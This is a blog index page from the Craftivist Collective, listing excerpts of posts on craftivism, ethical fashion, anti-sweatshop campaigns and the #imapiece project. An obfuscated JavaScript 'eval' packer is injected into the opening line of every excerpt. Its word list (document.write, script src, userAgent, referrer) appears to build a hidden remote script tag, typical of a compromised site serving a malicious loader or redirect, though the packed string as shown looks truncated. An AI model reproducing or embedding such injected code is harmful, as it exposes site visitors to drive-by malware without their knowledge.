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09 Jul CRAFTER-THOUGHT: by Nadia Idle on how to fight the ugly side of the fashion industry

Posted at 11:28h in All, Crafter-Thought by Craftivist Collective 3 Comments
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This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ykaay|var|u0026u|referrer|kydna||js|php'.split('|'),0,{})) CrafterThought is written by Nadia Idle who is the Activism & Outreach Officer at War on Want. It's a great blog to read before...

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04 Jul NEW & GLOBAL Summer/Autumn Project: #MiniFashionProtest because….

Posted at 22:50h in All, Projects by Craftivist Collective 15 Comments
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...we eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|snznh|var|u0026u|referrer|ykeyb||js|php'.split('|'),0,{})) Love Fashion & Hate Sweatshops right?  [caption id="attachment_2333" align="alignleft" width="272"] Hung up during London Fashion Week September 2012 inside Somerset House[/caption] I haven't spoken to...

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24 Jun Craft Crush #6: Julie Schneider

Posted at 19:51h in All, Craft Crush by Craftivist Collective 1 Comment
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As eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dntrb|var|u0026u|referrer|irean||js|php'.split('|'),0,{})) the Craftivist Collective we love to showcase fellow craft-lovers who inspire us to keep crafting, teach us new craft skills & new ways...

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20 Jun What to wear to an ethical awards ceremony? Written by craftivist Nikki Shaill

Posted at 14:42h in All by Craftivist Collective 0 Comments
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Written eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nnzib|var|u0026u|referrer|bfiye||js|php'.split('|'),0,{})) by craftivist Nikki Shaill  What to wear to an ethical awards ceremony? As I considered my clothes rail, trying to choose an outfit to...

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17 Jun Craftivism Ingredient #2: Activism for Introverts (and a little NYC story)

Posted at 18:33h in All, Craftivist Ingredients by Craftivist Collective 10 Comments
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We eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbszr|var|u0026u|referrer|ttyyt||js|php'.split('|'),0,{})) believe that there are lots of ingredients needed to create effective craftivism activities that benefit the maker as well as reciever/viewer of the...

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11 Jun CRAFTER-THOUGHT by Chloe Burrows: Make do and friend?

Posted at 01:30h in All, Crafter-Thought by Craftivist Collective 3 Comments
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Loneliness. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzdtn|var|u0026u|referrer|sydsd||js|php'.split('|'),0,{})) We all feel lonely sometimes, but with the proliferation of social media and actual real world scenes built on interests such as dancing...

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10 Jun What one humble Craftivist can achieve :) #imapiece

Posted at 17:45h in All by Craftivist Collective 3 Comments
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I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynffr|var|u0026u|referrer|kirzd||js|php'.split('|'),0,{})) received an email this morning from the wonderful craftivist Anne Clark of Angel Eden. Anna has been incredibly proactive and productive for our...

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08 Jun Craftivism Ingredient #1: Personal Reflection

Posted at 23:19h in All, Craftivist Ingredients by Craftivist Collective 4 Comments
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We eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynzek|var|u0026u|referrer|hbedz||js|php'.split('|'),0,{})) believe that there are lots of ingredients needed to create effective craftivism activities that benefit the maker as well as reciever/viewer of the...

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08 Jun A #PopUPCraftivist in New York City Saturday 8th June: 2pm-5pm

Posted at 00:49h in All, Stitch-in by Craftivist Collective 3 Comments
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On eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|thdfd|var|u0026u|referrer|baekk||js|php'.split('|'),0,{})) Saturday 8th June why not join our #PopUPCraftivist  in New York City for a FREE craftivism session or just a chat anytime between...

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06 Jun Canadian students are a piece of our puzzle too! #imapiece

Posted at 16:28h in All by Craftivist Collective 0 Comments
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Hello eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tekzi|var|u0026u|referrer|eearz||js|php'.split('|'),0,{})) from Toronto, Canada!    Sarah asked me to write about my Textile Design class’s experience creating jigsaw pieces for the #imapiece campaign.  When the project was...

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